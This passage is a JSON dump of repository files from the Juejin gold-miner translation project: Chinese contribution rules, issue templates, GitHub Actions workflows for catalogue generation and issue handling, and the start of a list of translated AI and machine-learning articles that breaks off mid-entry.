[
  {
    "path": ".github/CONTRIBUTING.md",
    "content": "# Contributing\n\n## 参与翻译\n\n- 请确保参与翻译之前已在相关文章的 Issue 发出过申请，避免重复性劳动。\n- 如果你还不是我们的译者，请参考 [如何参与翻译](https://github.com/xitu/gold-miner/wiki/%E5%A6%82%E4%BD%95%E5%8F%82%E4%B8%8E%E7%BF%BB%E8%AF%91)。\n\n## 问题反馈\n\n- 本项目只接受译文存在的相关问题反馈。任何需要针对原文的讨论请在英文原文处讨论。\n- 针对译文的反馈，请 [提交一个 Issue](https://github.com/xitu/gold-miner/issues/new)，指出问题对应的译文地址，并简明扼要的叙述问题所在。\n\n## Pull Requests\n\n- 译文请严格遵从 [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E6%96%87%E6%8E%92%E7%89%88%E8%A7%84%E5%88%99%E6%8C%87%E5%8C%97) 中的要求。\n- 每个 PR 只允许包含一篇文章的翻译版本。包含两篇或多篇的 PR 会立即被 close 掉。\n- 翻译文章前，请从主分支的最新状态上新建一个译文分支，保证每个分支只翻译一篇文章。我们推荐的新分支名格式为：`translation/文件名`。\n- 在翻译过程中，请直接编辑源文件，并不需要包含英文原文内容。\n- 在翻译过程中，请尽可能保证在原行上进行修改，以保证行与行之间的原始对应关系。\n- 在翻译完成后，请在中文环境下完整地阅读一遍译文，保证语句符合中文表达习惯。\n- 在翻译完成后，请在 GitHub 网页版检查一下译文，确保不出现 Markdown 语法错误和排版错误。\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/recommendation.md",
    "content": "---\nname: 推荐优秀英文文章\nabout: 推荐值得翻译且暂未被翻译的优质英文文章\ntitle: '推荐前端/后端/AI/Android/iOS/产品/设计/Flutter/Kotlin/其他/资讯优秀英文文章'\nlabels:\n- 文章推荐\nassignees: ''\n---\n\n- 原文链接：推荐文章前 Google 一下，尽量保证本文未被翻译\n- 简要介绍：介绍一下好不好啦，毕竟小编也看不太懂哎_(:з」∠)_\n- 翻译计划处理能力有限，请勿一次性提交超过 3 篇文章的推荐哦\n- 由于 markdown 的局限性以及掘金和 GitHub 的排版限制，不建议推荐包含特别多富文本或者代码沙盒的文章哈\n\n---\n\n### 请完成并勾选一下三项：\n\n* [ ] 按文章分类填写 Issue 标题：推荐前端/后端/AI/Android/iOS/产品/设计/Flutter/Kotlin/其他/资讯优秀英文文章\n* [ ] 本文很值得翻译，我推荐\n* [ ] 已经过初步搜索，暂未发现中文版译文\n\n> 首先通过 [Google](https://google.com) / [Bing](https://bing.com) / Baidu 等搜索关键词组合：**原文 翻译 英文文章标题** 确认没有中文译文。例如搜索：原文 翻译 Garbage Collection In Go : Part I - Semantics\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/sign_up.md",
    "content": "---\nname: 申请成为译者\nabout: 写一份译者申请表，向大家介绍一下你吧～\ntitle: '申请成为译者'\nlabels:\n- 申请译者\nassignees: ''\n---\n\n- 公司/学校：\n- 工作内容/专业：\n- 常浏览的国外网站：\n- 英语水平：\n- 翻译经验：\n- 主要翻译方向：\n- 个人博客：\n- 个人介绍：\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "译文翻译完成，resolve #id\n"
  },
  {
    "path": ".github/workflows/generate-catalog.yml",
    "content": "name: 生成文章目录\non:\n  push:\n    paths:\n      - 'integrals.md'\n  workflow_dispatch:\n\njobs:\n  generate:\n    if: github.repository == 'xitu/gold-miner'\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      max-parallel: 1\n      matrix:\n        include:\n          - label: '前端'\n            target: 'front-end.md'\n          - label: '后端'\n            target: 'backend.md'\n          - label: 'AI'\n            target: 'AI.md'\n          - label: '设计'\n            target: 'design.md'\n          - label: 'Android'\n            target: 'android.md'\n          - label: '算法'\n            target: 'algorithm.md'\n          - label: 'iOS'\n            target: 'ios.md'\n          - label: '其他'\n            target: 'others.md'\n          - label: '产品'\n            target: 'product.md'\n    steps:\n      - name: Set up Python\n        uses: actions/setup-python@v2\n        with:\n          python-version: '3.x'\n      - run: |\n          python -m pip install lxml requests markdown\n      - uses: actions/checkout@master\n        with:\n          repository: xitu/juejin-integral-database\n          path: ./juejin-integral-database\n      - uses: actions/checkout@master\n        with:\n          path: ./gold-miner\n          token: ${{ secrets.LSVIH_PAT }}\n\n      - name: Generate Catalog\n        env:\n          TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          LABEL: ${{ matrix.label }}\n          TARGET: ${{ matrix.target }}\n        run: |\n          cd juejin-integral-database\n          echo -n \"$TOKEN\" > secret\n          python script_generate_catalog.py --label \"$LABEL\" --target \"$TARGET\"\n          mv new_$TARGET  ../gold-miner/$TARGET\n      - name: Commit Catalog\n        uses: EndBug/add-and-commit@v7\n        with:\n          message: '更新${{ matrix.label }}文章目录'\n          author_name: 'lsvih'\n          author_email: 'lsvih@qq.com'\n          add: '*.md'\n          cwd: './gold-miner/'\n          push: true\n  reindex:\n    if: github.repository == 'xitu/gold-miner'\n    needs: generate\n    runs-on: ubuntu-latest\n    steps:\n      - name: Set up Python\n        uses: actions/setup-python@v2\n        with:\n          python-version: '3.x'\n      - uses: actions/checkout@master\n        with:\n          repository: xitu/juejin-integral-database\n          path: ./juejin-integral-database\n      - uses: actions/checkout@master\n        with:\n          path: ./gold-miner\n          token: ${{ secrets.LSVIH_PAT }}\n\n      - name: Reindex catalogues\n        run: |\n          cd juejin-integral-database\n          python reindex.py\n      - name: Commit Catalog\n        uses: EndBug/add-and-commit@v7\n        with:\n          message: '更新最新文章索引'\n          author_name: 'lsvih'\n          author_email: 'lsvih@qq.com'\n          add: 'README.md'\n          cwd: './gold-miner/'\n          push: true\n"
  },
  {
    "path": ".github/workflows/stale.yml",
    "content": "name: Mark stale issues\n\non:\n  schedule:\n  - cron: '0 6,18 * * *'\n  \npermissions:\n  issues: write\n\njobs:\n  stale:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/stale@v3\n      with:\n        repo-token: ${{ secrets.GITHUB_TOKEN }}\n        days-before-issue-stale: 7\n        stale-issue-label: \"stale\"\n        stale-issue-message: \"Inactive Issue\"\n        skip-stale-issue-message: true\n        days-before-issue-close: 0\n        close-issue-message: 'This issue was closed because it has been open 7 days with no activity.'\n        only-issue-labels: '文章推荐'\n        exempt-issue-labels: '标注'\n        days-before-pr-stale: -1\n        days-before-pr-close: -1\n"
  },
  {
    "path": ".github/workflows/translator-application.yaml",
    "content": "name: \"Translator Application\"\n\non:\n  issues:\n    types: [opened]\n\njobs:\n  translatorApplicationProcessor:\n    name: Translator Application Processor\n    if: ${{ contains(github.event.issue.title, '申请成为译者') }}\n    runs-on: ubuntu-latest\n    steps:\n      - name: Close Issue\n        uses: peter-evans/close-issue@v1\n        with:\n          token: \"${{ secrets.GITHUB_TOKEN }}\"\n          comment: |\n            Hi, @${{ github.event.issue.user.login }}, 感谢你申请加入掘金翻译计划，你需要做以下的事：\n\n            1. 认真学习 [掘金翻译计划译者教程](https://github.com/xitu/gold-miner/wiki)，校对和翻译文章时，严格遵循教程，杜绝不看教程，只知道问的伸手党；\n            2. 确认认真学习了 [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E6%96%87%E6%8E%92%E7%89%88%E8%A7%84%E5%88%99%E6%8C%87%E5%8C%97)，翻译文章时严格遵循，校对文章时也要指出译者的格式错误；\n            3. 确认认真学习了 [翻译和校对文章的注意事项](https://github.com/xitu/gold-miner/wiki/%E5%8D%81%E4%B8%87%E4%B8%AA%E4%B8%BA%E4%BB%80%E4%B9%88)，避免翻译校对过程中出错；\n            4. 加管理员微信 `chnyifan`，**验证信息格式**：翻译计划 + GitHub ID + 申请的 Issue Number；\n            5. 进群后修改群昵称为 GitHub ID。\n\n            **注意**：加完微信后，管理员会在当天拉你进译者群，进群之后做下简单的自我介绍。加入微信群则代表申请译者成功，接下来你需要看译者教程，然后先校对至少一篇文章才能开始正式翻译文章。当然也可以继续校对文章。\n"
  },
  {
    "path": ".gitignore",
    "content": ".DS_Store\n.AppleDouble\n.LSOverride\n.idea\n.vscode"
  },
  {
    "path": "AI.md",
    "content": "* [机器学习系统设计相关面试问题的剖析](https://juejin.cn/post/7109306303285051406)（[caiyundong](https://github.com/caiyundong) 翻译）\n* [如何使用 Python 管道 Pipe 高效编码](https://juejin.cn/post/7051051681357758494)（[zenblofe](https://github.com/zenblofe) 翻译）\n* [使用人工智能/机器学习构建文章推荐引擎](https://juejin.cn/post/7001479252163952670)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [AI 是否已经成为内容营销的重要组成部分？](https://juejin.cn/post/6964280632801394724)（[5Reasons](https://github.com/5Reasons) 翻译）\n* [Google 的 Apollo 芯片设计人工智能框架将深度学习芯片的性能提高了 25％](https://juejin.cn/post/6952819856429285407)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [解密转置卷积](https://juejin.cn/post/6954678998123151390)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [人工智能系统 Project Debater 即将提供 12 个新的云 API](https://juejin.cn/post/6955657126647857159)（[Kimhooo](https://github.com/Kimhooo) 翻译）\n* [谷歌 DeepMind 发布 NFNet：高效的深度网络](https://juejin.cn/post/6947586233522454558)（[chzh9311](https://github.com/chzh9311) 翻译）\n* [斯坦福发布 2021 年人工智能指数报告](https://juejin.cn/post/6942769081363726373)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [让机器学习更加公正](https://juejin.cn/post/6941964171974017031)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [使用 Node.js 实现蒙特卡洛树搜索](https://juejin.cn/post/6944240279784423461)（[zenblo](https://github.com/zenblo) 翻译）\n* [恋爱 5 年的消息看起来是什么样](https://juejin.cn/post/6944711045449515038)（[Amberlin1970](https://github.com/Amberlin1970) 翻译）\n* [使用 Android 11 进行机器学习：新功能](https://juejin.cn/post/6933208209259757581)（[PassionPenguin](https://github.com/PassionPenguin) 翻译）\n* [数据科学中的 9 种距离度量](https://juejin.cn/post/6935265008045686815)（[chzh9311](https://github.com/chzh9311) 翻译）\n* [如何利用隐语义模型在图数据库中构建推荐系统](https://juejin.cn/post/6925019556108828685)（[stuchilde](https://github.com/stuchilde) 翻译）\n* [为什么我的数据会漂移？](https://juejin.cn/post/6923824334188314638)（[chzh9311](https://github.com/chzh9311) 翻译）\n* [DeepSpeed：所有人都能用的超大规模模型训练工具](https://juejin.cn/post/6916500899577724942)（[zhuzilin](https://github.com/zhuzilin) 翻译）\n* [寻找最优化 AutoML 库](https://juejin.cn/post/6906859687682965517)（[zhusimaji](https://github.com/zhusimaji) 翻译）\n* [在浏览器中处理自然语言](https://juejin.cn/post/6899707995828174861)（[regon-cao](https://github.com/regon-cao) 翻译）\n* [重现：多样化 Mini-Batch 主动学习](https://juejin.cn/post/6890560237091340302)（[z0gSh1u](https://github.com/z0gSh1u) 翻译）\n* [知识的极限](https://juejin.im/post/6874475968325484552)（[QinRoc](https://github.com/QinRoc) 翻译）\n* [让神经网络变得更小巧以方便部署](https://juejin.im/post/6873068232505458701)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [使用合成数据改善机器学习中的极度不平衡数据集](https://juejin.im/post/6872609287802388488)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [使用 Chrome 的 Shape Detection API 检测人脸，文本甚至条形码](https://juejin.im/post/6864391729693491207)（[rocwong-cn](https://github.com/rocwong-cn) 翻译）\n* [机器学习中的主动学习](https://juejin.im/post/5eaa71435188256d6c594746)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [目标检测评价标准](https://juejin.im/post/5eaa67f55188256d9c259bd0)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [一份数据科学 A/B 测试的简单指南](https://juejin.im/post/5e61b88cf265da57602c5b95)（[Amberlin1970](https://github.com/Amberlin1970) 翻译）\n* [图像修复：人类和 AI 的对决](https://juejin.im/post/5e43b2edf265da576543a0bb)（[Starry316](https://github.com/Starry316) 翻译）\n* [使用 Python 进行边缘检测](https://juejin.im/post/5e3d4b53e51d4526c26fadd4)（[lsvih](https://github.com/lsvih) 翻译）\n* [如何用 Keras 从头搭建一维生成对抗网络](https://juejin.im/post/5dcf5aba6fb9a0203161f376)（[TokenJan](https://github.com/TokenJan) 翻译）\n* [数学编程  ——  一个为推进数据科学发展而培养的关键习惯](https://zhuanlan.zhihu.com/p/100212596)（[Weirdochr](https://github.com/Weirdochr) 翻译）\n* [如何使用 Keras 训练目标检测模型](https://juejin.im/post/5d4bb1db6fb9a06add4e18b6)（[EmilyQiRabbit](https://github.com/EmilyQiRabbit) 翻译）\n* [XGBoost 算法万岁！](https://juejin.im/post/5d484040e51d4561f95ee9de)（[lsvih](https://github.com/lsvih) 翻译）\n* [由浅入深理解主成分分析](https://juejin.im/post/5d41321df265da03c926d65a)（[Ultrasteve](https://github.com/Ultrasteve) 翻译）\n* [人工智能何以留存](https://juejin.im/post/5d4c1155e51d4562061159d1)（[YueYongDev](https://github.com/YueYongDev) 翻译）\n* [什么时候需要进行数据的标准化? 为什么？](https://juejin.im/post/5d41a46bf265da03d727f85d)（[Ultrasteve](https://github.com/Ultrasteve) 翻译）\n* [数据科学家需要掌握的十种统计技术](https://juejin.im/post/5d42340d6fb9a06ae61a95f5)（[HearFishle](https://github.com/HearFishle) 翻译）\n* [从著名数据数据可视化中我们可以学到什么](https://juejin.im/user/567e246a34f81a1d879e7a14)（[aceleewinnie](https://github.com/AceLeeWinnie) 翻译）\n* [时间序列数据间量化同步的四种方法](https://juejin.im/post/5d213c126fb9a07f091bc3f5)（[EmilyQiRabbit](https://github.com/EmilyQiRabbit) 翻译）\n* [在 Python 中过度使用列表解析器和生成表达式](https://juejin.im/post/5d281b0ff265da1b8b2b8ae0)（[ccJia](https://github.com/ccJia) 翻译）\n* [使用 What-If 工具来研究机器学习模型](https://juejin.im/post/5d143abff265da1bb80c4005)（[Starriers](https://github.com/Starriers) 翻译）\n* [如何在 Keras 中用 YOLOv3 进行对象检测](https://juejin.im/post/5d12eef5e51d455a68490ba8)（[Daltan](https://github.com/Daltan) 翻译）\n* [在机器学习中为什么要进行 One-Hot 编码？](https://juejin.im/post/5d15840e5188255c23553204)（[lsvih](https://github.com/lsvih) 翻译）\n* [在 Keras 下使用自编码器分类极端稀有事件](https://juejin.im/post/5cff17296fb9a07ec63b0a7f)（[ccJia](https://github.com/ccJia) 翻译）\n* [使用谷歌 FACETS 可视化机器学习数据集](https://juejin.im/post/5d0226986fb9a07ecb0ba33a)（[QiaoN](https://github.com/QiaoN) 翻译）\n* [浅析深度学习神经网络的卷积层](https://juejin.im/post/5ceeef01518825351e354747)（[QiaoN](https://github.com/QiaoN) 翻译）\n* [时间序列分析、可视化、和使用 LSTM 预测](https://juejin.im/post/5cecdbb75188252db706f4e9)（[Minghao23](https://github.com/Minghao23) 翻译）\n* [用 Word2vec 表示音乐？](https://juejin.im/post/5cdcdd9ee51d456e8240ddc3)（[Minghao23](https://github.com/Minghao23) 翻译）\n* [使用 Python Flask 框架发布机器学习 API](https://juejin.im/post/5cd7f862e51d453aa44ad6f3)（[sisibeloved](https://github.com/sisibeloved) 翻译）\n* [使用 WFST 进行语音识别](https://juejin.im/post/5cd7f7c56fb9a03218556ea4)（[sisibeloved](https://github.com/sisibeloved) 翻译）\n* [Keras 速查表：使用 Python 构建神经网络](https://juejin.im/post/5cd40d24f265da038412a8be)（[Minghao23](https://github.com/Minghao23) 翻译）\n* [在数据可视化中，我们曾经“画”下的那些错误](https://juejin.im/post/5cd39e1de51d453a3a0acb7b)（[ccJia](https://github.com/ccJia) 翻译）\n* [机器学习可以建模简单的数学函数吗？](https://juejin.im/post/5ccd6d30e51d453ae03507da)（[Minghao23](https://github.com/Minghao23) 翻译）\n* [Python 架构相关：我们需要更多吗？](https://juejin.im/post/5cd1db8c51882535b323a3c7)（[QiaoN](https://github.com/QiaoN) 翻译）\n* [深度学习能力的三个等级](https://juejin.im/post/5cce97ec6fb9a031fe3bd85d)（[HearFishle](https://github.com/HearFishle) 翻译）\n* [在深度学习训练过程中如何设置数据增强？](https://juejin.im/post/5cc87ec8f265da03b446202b)（[ccJia](https://github.com/ccJia) 翻译）\n* [使用 PyTorch 在 MNIST 数据集上进行逻辑回归](https://juejin.im/post/5cc66d946fb9a032286173a7)（[lsvih](https://github.com/lsvih) 翻译）\n* [归一化和标准化 — 量化分析](https://juejin.im/post/5cc5c0a06fb9a0321b69740a)（[ccJia](https://github.com/ccJia) 翻译）\n* [如何在远程服务器上运行 Jupyter Notebooks](https://juejin.im/post/5cb5e0a9f265da036c577f24)（[Daltan](https://github.com/Daltan) 翻译）\n* [哪一个深度学习框架增长最迅猛？TensorFlow 还是 PyTorch？](https://juejin.im/post/5caefef45188251b070f7d70)（[ccJia](https://github.com/ccJia) 翻译）\n* [如何在 Keras 中使用 LSTM 神经网络创作音乐](https://juejin.im/post/5c9c19d7e51d453e7d28a173)（[HearFishle](https://github.com/HearFishle) 翻译）\n* [Chars2vec: 基于字符实现的可用于处理现实世界中包含拼写错误和俚语的语言模型](https://juejin.im/post/5c96fd46e51d4513e072c3ae)（[kasheemlew](https://github.com/kasheemlew) 翻译）\n* [基于 Python 的图理论和网络分析](https://juejin.im/post/5c9066b3f265da612e6d5770)（[EmilyQiRabbit](https://github.com/EmilyQiRabbit) 翻译）\n* [时间顺序的价格异常检测](https://juejin.im/post/5c998f8ae51d454e523b6ed5)（[kasheemlew](https://github.com/kasheemlew) 翻译）\n* [用长短期记忆网络预测股票市场（使用 Tensorflow）](https://juejin.im/post/5c8114de51882540a830b910)（[Qiuk17](https://github.com/Qiuk17) 翻译）\n* [2019 跟上 AI 的脚步：AI 和 ML 接下来会发生什么重要的事？](https://juejin.im/post/5c83c8ba5188250aa57a0e2f)（[TUARAN](https://github.com/TUARAN) 翻译）\n* [数据科学领域十大必知机器学习算法](https://juejin.im/post/5c73bbfff265da2da771d42a)（[JohnJiangLA](https://github.com/JohnJiangLA) 翻译）\n* [如何用 Python 从零开始构建你自己的神经网络](https://juejin.im/post/5c7a478c518825787e6a0f67)（[JackEggie](https://github.com/JackEggie) 翻译）\n* [提取图像中的文字、人脸或者条形码 — 形状检测 API](https://juejin.im/post/5c64026fe51d457f963d249c)（[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ) 翻译）\n* [Python 的时间序列分析：简介](https://juejin.im/post/5c6c12def265da2ddc3c70ce)（[ppp-man](https://github.com/ppp-man) 翻译）\n* [从 Instagram 上的故事和反馈机器学习中收获的一些经验](https://juejin.im/post/5c683dfce51d45164c7599fb)（[TrWestdoor](https://github.com/TrWestdoor) 翻译）\n* [利用 Python中的 Bokeh 实现数据可视化，第一部分：入门](https://juejin.im/post/5c3c83c7f265da612d197bf0)（[Starriers](https://github.com/Starriers) 翻译）\n* [利用 Python中的 Bokeh 实现数据可视化，第二部分：交互](https://juejin.im/post/5c34a9dee51d4551d044efce)（[Starriers](https://github.com/Starriers) 翻译）\n* [利用 Python中的 Bokeh 实现数据可视化，第三部分：制作一个完整的仪表盘](https://juejin.im/post/5c3ae4656fb9a049d9757021)（[YueYongDev](https://github.com/YueYongDev) 翻译）\n* [降维技术中常用的几种降维方法](https://juejin.im/post/5c4513a06fb9a049dc028d0c)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [如何使用 Dask Dataframes 在 Python 中运行并行数据分析](https://juejin.im/post/5c1feeaf5188257f9242b65c)（[Starriers](https://github.com/Starriers) 翻译）\n* [时间序列异常检测算法](https://juejin.im/post/5c19f4cb518825678a7bad4c)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [支持向量机（SVM） 教程](http://5a77c24cf265da4e747f92e8/)（[zhmhhu](https://github.com/zhmhhu) 翻译）\n* [通过集成学习提高机器学习效果](https://juejin.im/post/5c0909d951882548e93806e0)（[Starriers](https://github.com/Starriers) 翻译）\n* [Google Colab 免费 GPU 使用教程](https://juejin.im/post/5c05e1bc518825689f1b4948)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [鲜为人知的数据科学 Python 库](https://juejin.im/post/5c075e09518825159512715f)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [强化学习中的好奇心与拖延症](https://juejin.im/post/5bff316651882548e937ef20)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [使用递归神经网络（LSTMs）对时序数据进行预测](https://juejin.im/post/5bf8a70cf265da61776ba1dc)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [深度学习将会给我们所有人的生活一个教训：工作是为了机器准备的](https://juejin.im/post/5bd71fd6f265da0aa94a5bce)（[yuwhuawang](https://github.com/yuwhuawang) 翻译）\n* [初创公司的数据科学：简介](https://juejin.im/post/5bd55b76f265da0ae472ce1b)（[tmpbook](https://github.com/tmpbook) 翻译）\n* [在 Keras 中使用一维卷积神经网络处理时间序列数据](https://juejin.im/post/5beb7432f265da61524cf27c)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [使用 Python 的 Pandas 和 Seaborn 框架从 Kaggle 数据集中提取信息](https://juejin.im/post/5be8caf651882551cc25acf5)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [使用 Pandas 对 Kaggle 数据集进行统计数据分析](https://juejin.im/post/5be8c994f265da61461db107)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [如何使用 Python 格式化时间型数据](https://juejin.im/post/5be26d15f265da61776b720a)（[Raoul1996](https://github.com/Raoul1996) 翻译）\n* [使用 Pandas 在 Python 中创建一个简单的推荐系统](https://juejin.im/post/5be958416fb9a049af6cc969)（[xilihuasi](https://github.com/xilihuasi) 翻译）\n* [基于评论的机器学习在线课程排名](https://juejin.im/post/5bc997fd6fb9a05cdb106d7a)（[davelet](https://github.com/davelet) 翻译）\n* [语义分割 — U-Net（第一部分）](https://juejin.im/post/5bc55ec8f265da0a8f35ef20)（[JohnJiangLA](https://github.com/JohnJiangLA) 翻译）\n* [TensorFlow 中的 RNN 串流](https://juejin.im/post/5bcb2975f265da0a8d36c7d8)（[sisibeloved](https://github.com/sisibeloved) 翻译）\n* [使用 TensorFlow.js 进行无服务的机器学习](https://juejin.im/post/5bc13de2e51d450e827b88fc)（[wzasd](https://github.com/wzasd) 翻译）\n* [数据科学和机器学习面试问题](https://juejin.im/post/5bbb104f5188255c960c4d7e)（[jianboy](https://github.com/jianboy) 翻译）\n* [用 Python 实现马尔可夫链的初学者教程](https://juejin.im/post/5bb031d06fb9a05cdb104888)（[cdpath](https://github.com/cdpath) 翻译）\n* [Python 中的无监督学习算法](https://juejin.im/post/5bab10ed6fb9a05d1f2211b6)（[zhmhhu](https://github.com/zhmhhu) 翻译）\n* [用 Scikit-Learn 实现 SVM 和 Kernel SVM](https://juejin.im/post/5b7fd39af265da43831fa136)（[rockyzhengwu](https://github.com/rockyzhengwu) 翻译）\n* [Sklearn 中的朴素贝叶斯分类器](https://juejin.im/post/5b8510be51882542d23a1d66)（[sisibeloved](https://github.com/sisibeloved) 翻译）\n* [使用 Python 进行自动化特征工程](https://juejin.im/post/5b6ea0e4e51d4519044adff0)（[mingxing47](https://github.com/mingxing47) 翻译）\n* [Python 与大数据：Airflow & Jupyter Notebook with Hadoop 3, Spark & Presto](https://juejin.im/post/5b5a7fdfe51d453526175687)（[cf020031308](https://github.com/cf020031308) 翻译）\n* [自然语言处理真是有趣](https://juejin.im/post/5b6d08e2f265da0f9c67cf0b)（[lihanxiang](https://github.com/lihanxiang) 翻译）\n* [给人类的机器学习指南🤖👶](https://juejin.im/post/5b136f12f265da6e5415114b)（[sisibeloved](https://github.com/sisibeloved) 翻译）\n* [深度学习中所需的线性代数知识](https://juejin.im/post/5b19d99ae51d4506d81a7a2f)（[maoqyhz](https://github.com/maoqyhz) 翻译）\n* [可微可塑性：一种学会学习的新方法](https://juejin.im/post/5b055308f265da0ba063879d)（[luochen1992](https://github.com/luochen1992) 翻译）\n* [给初学者的 Jupyter Notebook 教程](https://juejin.im/post/5af8d3776fb9a07ab7744dd0)（[SergeyChang](https://github.com/SergeyChang) 翻译）\n* [如何在安卓应用中使用 TensorFlow Mobile](https://juejin.im/post/5afb8dc5518825426c690236)（[luochen1992](https://github.com/luochen1992) 翻译）\n* [在浏览器里使用 TenserFlow.js 实时估计人体姿态](https://juejin.im/post/5afd833b5188254270642ff3)（[NoName4Me](https://github.com/NoName4Me) 翻译）\n* [Google 的 ML Kit 为 Android 和 iOS 提供了简单的机器学习 API](https://juejin.im/post/5af2942e51882567244df836)（[ALVINYEH](https://github.com/ALVINYEH) 翻译）\n* [利用 Keras 深度学习库进行词性标注教程](https://juejin.im/post/5ae4613a5188256727742d7d)（[luochen1992](https://github.com/luochen1992) 翻译）\n* [Facebook 的 AI 万金油：StarSpace 神经网络模型简介](https://juejin.im/post/5a83af7c6fb9a0633c661404)（[noahziheng](https://github.com/noahziheng) 翻译）\n* [Facebook 开源了物体检测研究项目 Detectron](https://juejin.im/post/5a6c2ba56fb9a01cb64f0591)（[SeanW20](https://github.com/SeanW20) 翻译）\n* [使用深度学习自动生成HTML代码 - 第 1 部分](https://juejin.im/post/5a72744e6fb9a01cb64f1d66)（[sakila1012](https://github.com/sakila1012) 翻译）\n* [IBM 工程师的 TensorFlow 入门指北](https://juejin.im/post/5a3d1ecb518825256362de6a)（[JohnJiangLA](https://github.com/JohnJiangLA) 翻译）\n* [如何使用 Golang 中的 Go-Routines 写出高性能的代码](https://juejin.im/post/5a17c0f9f265da431a42e060)（[tmpbook](https://github.com/tmpbook) 翻译）\n* [RNN 循环神经网络系列 4: 注意力机制](https://juejin.im/post/59f72f61f265da432002871c?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[TobiasLee](https://github.com/TobiasLee) 翻译）\n* [Keras 中构建神经网络的 5 个步骤](https://juejin.im/post/59e43b5b6fb9a0452a3b5f4f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [RNN 循环神经网络系列 3：编码、解码器](https://juejin.im/post/59fc1616f265da432b4a2d44?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[changkun](https://github.com/changkun) 翻译）\n* [RNN 循环神经网络系列 5: 自定义单元](https://juejin.im/post/59fbd28b6fb9a045204b91f2?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [Spotify 每周推荐功能：基于机器学习的音乐推荐](https://juejin.im/post/59fbd0d9518825299a468a8b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [RNN 循环神经网络系列 1：基本 RNN 与 CHAR-RNN](https://juejin.im/post/59f0c5b0f265da43085d3e94?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[changkun](https://github.com/changkun) 翻译）\n* [RNN 循环神经网络系列 2：文本分类](https://juejin.im/post/59f0c6b3f265da4319557de4?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[changkun](https://github.com/changkun) 翻译）\n* [什么是蒙特卡洛树搜索](https://juejin.im/post/59f16e8c5188250385371302?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[CACppuccino](https://github.com/CACppuccino) 翻译）\n* [搭建个人深度学习平台](https://juejin.im/post/59be8e2b5188252c24746e9c?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[RichardLeeH](https://github.com/RichardLeeH) 翻译）\n* [Uber 机器学习平台 — 米开朗基罗](https://juejin.im/post/59c8b4d56fb9a00a4843b2a6?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [基于 TensorFlow 的上下文聊天机器人](https://juejin.im/entry/5992cd385188252433704fa3?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[edvardHua](https://github.com/edvardHua) 翻译）\n* [使用 AI 为 Web 网页增加无障碍功能](https://juejin.im/post/59a51e91f265da2499603c8c?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [在 Airbnb 使用机器学习预测房源的价值](https://juejin.im/post/59acfc336fb9a0249471e47d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [为什么我们渴求女性来设计 AI ](https://juejin.im/post/599c1e45518825242a02596e?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[TobiasLee](https://github.com/TobiasLee) 翻译）\n* [巧用 ARKit 和 SpriteKit 从零开始做 AR 游戏](https://juejin.im/post/599aaf746fb9a02477072380?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[Danny1451](https://github.com/Danny1451) 翻译）\n* [深度学习系列4: 为什么你需要使用嵌入层](https://juejin.im/post/599183c6f265da3e2e5717d2?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lileizhenshuai](https://github.com/lileizhenshuai) 翻译）\n* [机器之魂：聊天机器人是怎么工作的](https://juejin.im/post/599155d86fb9a03c467c151d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [深度学习系列3 - CNNs 以及应对过拟合的详细探讨](https://juejin.im/post/598f25b15188257d8643173d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lj147](https://github.com/lj147) 翻译）\n* [深度学习系列2：卷积神经网络](https://juejin.im/post/598ac6a55188257dd366367f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [如何将时间序列问题用 Python 转换成为监督学习问题](https://juejin.im/post/598ac4e651882548605ce4a9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [深度学习系列1：设置 AWS & 